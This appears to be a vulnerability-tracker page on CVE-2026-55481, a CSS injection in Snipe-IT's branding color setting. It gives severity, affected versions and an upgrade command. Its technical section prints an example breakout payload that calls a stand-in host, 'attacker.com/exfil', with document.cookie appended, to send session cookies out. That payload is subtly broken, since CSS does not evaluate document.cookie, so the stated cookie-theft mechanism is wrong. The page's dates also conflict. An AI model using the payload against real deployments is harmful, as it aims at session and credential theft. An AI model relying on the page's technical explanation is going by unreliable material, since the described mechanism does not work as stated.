Is CVE-2026-55481 exploited in the wild?

No. Junglewise Threat Intelligence has no report of CVE-2026-55481 being exploited in the wild.

How severe is CVE-2026-55481?

Medium severity, with a CVSS score of 4, published 10 July 2026.

Which products and versions are affected?

snipe/snipe-it (Packagist) <= 8.6.1, ECOSYSTEM:introduced=0,fixed=8.6.2.

Is there a fix for CVE-2026-55481?

Yes. snipe/snipe-it (Packagist): upgrade to 8.6.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

How is CVE-2026-55481 attacked?

It is attacked over the network, in a web application.

Am I affected by CVE-2026-55481?

Check whether you run snipe/snipe-it (Packagist) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

CVE-2026-55481: Grokability Snipe-IT CSS injection in branding settings

Q: Is there a fix for CVE-2026-55481?

Yes. snipe/snipe-it (Packagist): upgrade to 8.6.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

Q: How is CVE-2026-55481 attacked?

It is attacked over the network, in a web application.

Q: Am I affected by CVE-2026-55481?

Check whether you run snipe/snipe-it (Packagist) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

CVE-2026-55481 · Severity: medium · CVSS 4 · Published 2026-07-10

Snipe-IT is an asset management system used to track and manage IT inventory across organizations. An administrator with access to the Branding settings can inject malicious CSS code through the header_color field, which is loaded on every authenticated page. This allows the attacker to steal session tokens and credentials from all other users, including other administrators, without their knowledge.

Technologies: snipe/snipe-it (Packagist). Vendors: Packagist.

Quick answers

Is CVE-2026-55481 exploited in the wild?: No. Junglewise Threat Intelligence has no report of CVE-2026-55481 being exploited in the wild.
How severe is CVE-2026-55481?: Medium severity, with a CVSS score of 4, published 10 July 2026.
Which products and versions are affected?: snipe/snipe-it (Packagist) <= 8.6.1, ECOSYSTEM:introduced=0,fixed=8.6.2.
Is there a fix for CVE-2026-55481?: Yes. snipe/snipe-it (Packagist): upgrade to 8.6.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2026-55481 attacked?: It is attacked over the network, in a web application.
Am I affected by CVE-2026-55481?: Check whether you run snipe/snipe-it (Packagist) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

snipe/snipe-it (Packagist): upgrade to 8.6.2 or later
```
composer require snipe/snipe-it:^8.6.2
```

Technical details

The vulnerability is a CSS injection (CWE-79: Cross-site Scripting) in the `header_color` branding setting. The vulnerable code renders user-supplied color values directly into a CSS `<style>` block using Laravel's `{{ }}` template syntax, which applies only HTML entity encoding. In a CSS context, this encoding is insufficient to prevent breakout. An attacker with superadmin privileges can set the `header_color` to a crafted value that breaks out of the CSS property value (e.g., `#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {`) to inject arbitrary CSS rules. Since the base layout template is loaded on every authenticated page, the injected CSS executes in every user's browser on their next page load, enabling silent exfiltration of session tokens. Attack vector is network-based but requires high privileges (superadmin access). No user interaction is needed for victims. Content Security Policy is disabled by default, removing the primary browser-level mitigation. The vulnerability is patched in version 8.6.2.

Affected products

Grokability Snipe-IT <= 8.6.1

Identifiers

CVE-2026-55481
GHSA-w7qw-5wfv-gwx9

Timeline

2026-08-28: disclosed: Advisory published
2026-08-28: patched: Fixed in version 8.6.2
2026-06-30: other: GitHub advisory created

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.